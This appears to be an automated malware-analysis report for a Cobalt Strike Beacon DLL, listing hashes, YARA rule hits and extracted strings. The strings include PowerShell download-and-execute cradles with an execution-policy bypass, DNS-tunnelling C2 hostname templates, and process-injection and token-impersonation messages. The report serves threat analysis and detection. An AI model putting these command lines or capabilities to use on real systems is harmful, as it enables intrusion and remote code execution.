Sample details: 0d2ed3ce14766178346065190b1254b9 --

Hashes
MD5: 0d2ed3ce14766178346065190b1254b9
SHA1: adcdcd6b613c42ffce86c1eb129d014b6e53eb21
SHA256: e96229bad55b09995b26af3c96547af0d4eb9c547d0441fd7523154f0e502582
SSDEEP: 3072:KlC60GeD6N9Za5Yp6zPC952DmKX0tDV2/jqBkLcP6j5US5a4:KNxfaWUzPWEKKX0pURLcyjG4
Details
File Type: MS-DOS
Yara Hits
YRP/Visual_Cpp_2005_DLL_Microsoft | YRP/Visual_Cpp_2003_DLL_Microsoft | YRP/IsPE32 | YRP/IsDLL | YRP/IsWindowsGUI | YRP/HasOverlay | YRP/HasRichSignature | YRP/powershell | YRP/maldoc_find_kernel32_base_method_1 | YRP/maldoc_getEIP_method_1 | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/anti_dbg | YRP/inject_thread | YRP/create_service | YRP/network_http | YRP/network_dns | YRP/escalate_priv | YRP/win_registry | YRP/win_token | YRP/win_files_operation | YRP/Prime_Constants_long | YRP/RijnDael_AES | YRP/BASE64_table | YRP/VC8_Random | YRP/Str_Win32_Winsock2_Library | YRP/Str_Win32_Wininet_Library | YRP/Str_Win32_Internet_API | YRP/Str_Win32_Http_API | FlorianRoth/PowerShell_Susp_Parameter_Combo | FlorianRoth/WiltedTulip_ReflectiveLoader | FlorianRoth/ReflectiveLoader | FlorianRoth/Beacon_K5om |
Strings
		!This program cannot be run in DOS mode.
`.rdata
@.data
.reloc
QQSVW3
SWjD_W
tSVWjD^V3
pVWjD_W3
0VVVVV
VWj-Z3
QVWj-Z
YjD_W3
YjD_W3
SVWj@^V
thj@ShI
tzHteHt3Hu
tDHt(HuV
WWVPWW
PSSSSSSh 
8<+tz<-tz
D$,PSP
0SSSSS
HHtXHHt
>If90t
HHtYHHt
<at9<rt,<wt
URPQQh
j@j ^V
0WWWWW
>=Yt1j
< tK<	tG
0SSSSS
0SSSSS
0SSSSS
0A@@Ju
^SSSSS
j"^SSSSS
v	N+D$
tGHt.Ht&
^SSSSS
8VVVVV
;t$,v-
UQPXY]Y[
t"SS9]
PPPPPPPP
PPPPPPPP
t+WWVPV
PRSVWj
YY_^[ZX
u8VVVVj
0WWWWW
AAFFf;
>=Yt1j
CorExitProcess
runtime error 
TLOSS error
SING error
DOMAIN error
An application has made an attempt to load the C runtime library incorrectly.
Please contact the application's support team for more information.
- Attempt to use MSIL code from this assembly during native code initialization
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
- not enough space for locale information
- Attempt to initialize the CRT more than once.
This indicates a bug in your application.
- CRT not initialized
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
- not enough space for environment
- not enough space for arguments
- floating point support not loaded
Microsoft Visual C++ Runtime Library
<program name unknown>
Runtime Error!
Program: 
(null)
`h````
xpxxxx
EncodePointer
DecodePointer
FlsFree
FlsSetValue
FlsGetValue
FlsAlloc
`h`hhh
xppwpp
ADVAPI32.DLL
UTF-16LE
UNICODE
GetProcessWindowStation
GetUserObjectInformationA
GetLastActivePopup
GetActiveWindow
MessageBoxA
USER32.DLL
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
HH:mm:ss
dddd, MMMM dd, yyyy
MM/dd/yy
December
November
October
September
August
February
January
Saturday
Friday
Thursday
Wednesday
Tuesday
Monday
Sunday
CONOUT$
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
rijndael
=j&&LZ66lA??~
}{))R>
f""D~**T
V22dN::t
o%%Jr..\$
,cccc||||wwww{{{{
kkkkoooo
gggg++++
YYYYGGGG
&&&&6666????
uuuu				
nnnnZZZZ
RRRR;;;;
[[[[jjjj
9999JJJJLLLLXXXX
CCCCMMMM3333
PPPP<<<<
~~~~====dddd]]]]
ssss````
""""****
2222::::
$$$$\\\\
7777mmmm
llllVVVV
eeeezzzz
xxxx%%%%....
pppp>>>>
ffffHHHH
aaaa5555WWWW
UUUU((((
BBBBhhhhAAAA
='9-6d
_jbF~T
11#?*0
,4$8_@
t\lHBW
RRRR				jjjj
00006666
CCCCDDDD
TTTT{{{{
####====
ffff((((
vvvv[[[[
IIIImmmm
%%%%rrrr
]]]]eeee
llllppppHHHHPPPP
FFFFWWWW
kkkk::::
AAAAOOOOgggg
tttt""""
nnnnGGGG
VVVV>>>>KKKK
yyyy    
YYYY''''
____````QQQQ
;;;;MMMM
ccccUUUU!!!!
}}}}cc
&&Lj66lZ??~A
99rKJJ
==zGdd
""Df**T~
;22dV::tN
$$Hl\\
C77nYmm
%%Jo..\r
55j_WW
&Lj&6lZ6?~A?
~=zG=d
"Df"*T~*
2dV2:tN:
x%Jo%.\r.
a5j_5W
ggV}++
Lj&&lZ66~A??
bS11*?
Xt,,4.
RRvM;;
MMfU33
PPxD<<%
Bc!! 0
~~zG==
Df""T~**;
dV22tN::
xxJo%%\r..8$
pp|B>>q
aaj_55
UUPx((
QPeA~S
>4$8,@
p\lHtW
+HpXhE
T[$:.6
,4$8'9-6:.6$1#?*XhHpSeA~NrZlE
Sbt\lH
QeFbF~TiKwZ
4$8,9-6'.6$:#?*1hHpXeA~SrZlN
SbE\lHtQeF
F~TbKwZi
$8,4-6'96$:.?*1#HpXhA~SeZlNrSbE
lHt\eF
Q~TbFwZiK
8,4$6'9-$:.6*1#?pXhH~SeAlNrZbE
SHt\lF
QeTbF~ZiKw
"3DUfw
"3DUfw
"3DUfw
Unknown Runtime Check Error
Stack memory around _alloca was corrupted
A local variable was used before it was initialized
Stack memory was corrupted
A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:  
	char c = (i & 0xFF);
Changing the code in this way will not affect the quality of the resulting optimized code.
The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.
Stack around the variable '
' was corrupted.
The variable '
' is being used without being initialized.
Run-Time Check Failure #%d - %s
Unknown Module Name
Unknown Filename
Stack corrupted near unknown variable
Stack around _alloca corrupted
Local variable used before initialization
Stack memory corruption
Cast to smaller type causing loss of data
Stack pointer corruption
MSPDB80.DLL
EnvironmentDirectory
SOFTWARE\Microsoft\VisualStudio\9.0\Setup\VS
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
PDBOpenValidate5
cdn.%x%x.%s
www6.%x%x.%s
%s.1%x.%x%x.%s
%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x.%x%x.%s
%s.1%08x%08x.%x%x.%s
%s.1%08x.%x%x.%s
api.%x%x.%s
unknown
%s as %s\%s: %d
%s on %s: %d
Started service %s on %s
IsWow64Process
kernel32
sysnative
system32
D	0	%02d/%02d/%02d %02d:%02d:%02d	%s
F	%I64d	%02d/%02d/%02d %02d:%02d:%02d	%s
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
NtQueueApcThread
process
%d	%d	%s
Kerberos
%d	%d	%d.%d	%s	%s	%s	%d	%d
?%s=%s
%s&%s=%s
%s%s: %s
%s	%d	%d
%s	%d	%d	%s	%s	%d
%-24s 
sha256
abcdefghijklmnop
?456789:;<=
 !"#$%&'()*+,-./0123
could not run command (w/ token) because of its length of %d bytes!
could not spawn %s (token): %d
could not spawn %s: %d
Could not open process token: %d (%u)
could not run %s as %s\%s: %d
COMSPEC
could not upload file: %d
could not open %s: %d
could not get file time: %d
could not set file time: %d
127.0.0.1
Could not connect to pipe (%s): %d
Could not open service control manager on %s: %d
Could not create service %s on %s: %d
Could not start service %s on %s: %d
Could not query service %s on %s: %d
Could not delete service %s on %s: %d
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeUnsolicitedInputPrivilege
SeMachineAccountPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeSyncAgentPrivilege
SeEnableDelegationPrivilege
SeManageVolumePrivilege
Could not create service: %d
Could not start service: %d
Failed to impersonate token: %d
Failed to get token
Could not open '%s'
copy failed: %d
move failed: %d
ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.
could not allocate %d bytes in process: %d
could not write to process memory: %d
could not adjust permissions in process: %d
could not create remote thread in %d: %d
could not open process %d: %d
%d is an x64 process (can't inject x86 content)
%d is an x86 process (can't inject x64 content)
Could not set PPID to %d: %d
Could not set PPID to %d
Could not connect to pipe: %d
%d	%d	%s
kerberos ticket purge failed: %08x
kerberos ticket use failed: %08x
could not connect to pipe: %d
could not connect to pipe
Maximum links reached. Disconnect one
Could not bind to %d
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')
%%IMPORT%%
Command length (%d) too long
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s
powershell -nop -exec bypass -EncodedCommand "%s"
%s%s: %s
Could not kill %d: %d
could not create pipe: %d
I'm already in SMB mode
Could not open process: %d (%u)
Failed to impersonate token from %d (%u)
Failed to duplicate primary token for %d (%u)
Failed to impersonate logged on user %d (%u)
Could not create token: %d
9~<pB5
+OnnVRu
syswow64
%s (admin)
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: %d
Microsoft Base Cryptographic Provider v1.0
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq
LibTomMath
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/
CreateFileA
WaitForSingleObject
GetTickCount
SetFileTime
WriteFile
OpenProcess
MultiByteToWideChar
DisconnectNamedPipe
FlushFileBuffers
SetCurrentDirectoryA
GetStartupInfoA
GetLastError
GetCurrentDirectoryW
GetLocalTime
CreatePipe
GetCurrentDirectoryA
GetFileTime
CloseHandle
GetCurrentProcess
ConnectNamedPipe
GetCurrentThread
ReadFile
GetProcAddress
CreateNamedPipeA
GetModuleHandleA
GetThreadContext
ReadProcessMemory
CreateProcessA
TerminateProcess
VirtualProtectEx
WriteProcessMemory
ResumeThread
GetFullPathNameA
SystemTimeToTzSpecificLocalTime
GetLogicalDrives
ExpandEnvironmentStringsA
GetFileAttributesA
FileTimeToSystemTime
FindFirstFileA
CopyFileA
FindClose
MoveFileA
FindNextFileA
VirtualProtect
DeleteProcThreadAttributeList
HeapAlloc
UpdateProcThreadAttribute
HeapFree
GetProcessHeap
CreateRemoteThread
VirtualAlloc
VirtualAllocEx
LoadLibraryA
ProcessIdToSessionId
DuplicateHandle
InitializeProcThreadAttributeList
GetCurrentProcessId
CreateThread
                
FreeLibrary
VirtualFree
Thread32First
Thread32Next
SetLastError
OpenThread
CreateToolhelp32Snapshot
GetVersionExA
SuspendThread
PeekNamedPipe
WaitNamedPipeA
SetNamedPipeHandleState
LocalAlloc
LocalFree
GetComputerNameA
GetACP
GetOEMCP
Process32First
Process32Next
ExitProcess
KERNEL32.dll
CloseServiceHandle
OpenProcessToken
CreateProcessWithLogonW
DeleteService
CreateServiceA
StartServiceA
QueryServiceStatus
OpenSCManagerA
OpenServiceA
OpenThreadToken
LookupPrivilegeValueA
ImpersonateLoggedOnUser
ImpersonateNamedPipeClient
QueryServiceStatusEx
ControlService
AdjustTokenPrivileges
CreateProcessAsUserA
CreateProcessWithTokenW
GetUserNameA
RegOpenKeyExA
RegOpenCurrentUser
RegEnumValueA
RegEnumKeyA
RegCloseKey
GetTokenInformation
LookupAccountSidA
DuplicateTokenEx
AllocateAndInitializeSid
RevertToSelf
FreeSid
CheckTokenMembership
LogonUserA
ADVAPI32.dll
HttpQueryInfoA
InternetConnectA
InternetQueryDataAvailable
InternetReadFile
InternetSetOptionA
HttpOpenRequestA
HttpSendRequestA
InternetOpenA
InternetCloseHandle
InternetQueryOptionA
WININET.dll
WS2_32.dll
DnsQuery_A
DnsFree
DNSAPI.dll
GetIfEntry
GetIpAddrTable
IPHLPAPI.DLL
LsaLookupAuthenticationPackage
LsaConnectUntrusted
LsaCallAuthenticationPackage
Secur32.dll
GetModuleHandleW
DeleteFileA
CreateDirectoryA
RemoveDirectoryA
GetCurrentThreadId
GetCommandLineA
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
HeapCreate
HeapDestroy
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
HeapReAlloc
GetStdHandle
GetModuleFileNameA
TlsGetValue
TlsAlloc
TlsSetValue
TlsFree
InterlockedIncrement
InterlockedDecrement
InitializeCriticalSectionAndSpinCount
RtlUnwind
WideCharToMultiByte
GetConsoleCP
GetConsoleMode
SetHandleCount
GetFileType
SetFilePointer
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
GetEnvironmentStringsW
QueryPerformanceCounter
GetSystemTimeAsFileTime
GetCPInfo
IsValidCodePage
HeapSize
GetLocaleInfoA
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
SetStdHandle
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
SetEndOfFile
CompareStringA
CompareStringW
SetEnvironmentVariableA
CryptReleaseContext
CryptAcquireContextA
CryptGenRandom
SetEnvironmentVariableW
RaiseException
DebugBreak
GetModuleFileNameW
VirtualQuery
beacon.dll
_ReflectiveLoader@4
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ihihikiiikihikK
ijikimii
	imikimiyiiilihikiiioihiki
inijhiY
dhhhlij
(pkjhihiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiaijhi
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii`iji
F\GYIA
RI$: ,IPGYRI>
I'=I_GXRI>
F\GY@iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiciji)F
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiibijhiiiimiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiieijhiiiiniiiiiiijiiioiiio*
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiidijhiiiiciiiO*
iiiniiiiiiiliiik
iiiniiihiiimiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiitiji)L
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiwiji)L
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiifiji
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiivihikihizikimiiiii}ikimiiiiisijiy.,=iiiiiiiiiiiiiirijiy9&:=iiiiiiiiiiiiiuikimiiiiiLikimiiiiiOihikiiiNihikiiiJihikikiAikimiiiii@ikimiiiiiBihiki)iEihiki)iDikimiiiiiGijhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiFijhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiYihikilii
D$$[[aYZQ
6QQh8h
AQAPRQVH1
AXAX^YZAXAYAZH
383?3[3D4T4
5N5[5y5~5
5+666b6
7(7/7C7V7O8f8Q;
<%<:<@<K<
? ?5?A?Z?`?
1F1r1}1
1	292[2
3D3P3`3
&0>0t0
3&3=3s3
4+5>5I5U5
:$;.;?;H;o;
> >,>S>
0/0>0i0{0
1D1h1y1
202A2P2
2$3D3k3u3
3@4c4m4|4
5$6.6@6E6Q6[6k6|6
7)7C7J7k7
:(;4;@;F;X;
=@=F=X=g=o=
0C1U1b1y1
4"575>5N5i5v5
6$7)7/767I7N7T7[7
8"8'8<8L8V8z8
9":.:c:m:
> ?3?K?
011a1h1z1
2	2W2d2x2
3"373J3
4!4L4c4p4
7#8^8e8
:B:T:q:
<5<A<I<[<
1&1,1}1
313D3g3n3t3{3
6%6,636:6I6Q6
9T:h:y:9<X<x<
<<=U=c=
"0K0[0n0
383D3Z3v3
4!5C5^5x5
8e8E9c9
9":n:r:v:z:~:
:5<?<I<
4080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
1!202:2M2d2
2<3Q3b3p3
3'4E4y4
0J0Q0m0
464N4_4h4m4
9&969I9o9
:);?;F;Y;`;
;0<<<]<g<y<
<G=Z=d=y=
>'?<?L?
>!?*?/?I?Q?b?p?x?
3,474M4
5/555B5T5~5
6J6a6{6
7"7=7E7L7
+1/13171;1?1C1G1K1O1S1W1[1_1c1C2[2
585S5_5
526K6v6
727L7X7{7
8	9%9q9
:(:=:Q:
;L;V;l;|;
6%7)7-7175797=7A7E7I7T7
9S9Y9j9
0B0]0c0l0s0
1/191@1K1T1j1u1
2?2D2O2T2r2
3q4+6$7
1C1a1h1l1p1t1x1|1
1F2Q2l2s2x2|2
3 3j3p3t3x3|3
4@4X4`4f4
6%6+61676=6D6K6R6Y6`6g6n6v6~6
7&7B7e7x7
8$8,868<8B8O8V8`8
:F<T<Z<t<y<
=!=&=.=4=>=E=Y=`=f=t={=
7A7J7Q7Z7
8$8<8N8r8
:,;4;I;T;;<
9,929=9I9^9e9y9
:%:1:@:F:O:[:i:o:{:
;8;x;~;
<;=K=Q=]=c=s=y=
>'>,>1>7>;>A>F>L>Q>`>v>
:A=H=d=o=
>+>0>G>
0;1A1Z1`10252:2?2O2~2
3"3)3.353:3
3B4Q4`4i4~4
5&555A5N5r5
6"6F6u6
8$9G9i9t9
6(6/676<6@6D6m6
7$7(7,707
8M8T8X8\8`8d8h8l8p8
8,9i9s9
<f=p=$>3>
152=2}2
2	393K3
4T4a4z4
7;8H8h8
=;=D=P=
='>0><>T>c>
3A3I3T3p3~3
:O:\:f:t:}:
>&>/>5>>>C>R>y>
7:7[7g7
5-575@5K5`5g5m5
727m7}7
9!9a9s9
<9=?=K=
?N?T?`?
6*8<8N8p8
0 0$0(0,0004080<0@0D0'1.1
4&5C5o5
c0i0u0
8O:V:f:q:
;,;3;C;N;#<*<5<E<
>;>B>R>]>
> ?'?7?B?c?j?z?
040;0K0V0
0<1C1S1^1
4'424T4[4k4v4
585?5O5Z5|5
6B7X7o7
=9>M>V>~>
>,?:?h?
1.2D2N2Y2e2x2
4"5A5u5
:#;`;o;
6 6$6(6,60646h6
`2d2h2l2p2t2
5 5$5(5,5054585<5T5X5\5d5h5l5p5t5x5|5
909P9p9
:0:L:P:p:
; ;@;\;`;
<$<(<H<h<
=(=H=h=
>,>0>L>P>
3$3,343<3D3L3T3\3d3p3t3
=(=8=H=l=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>x>
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*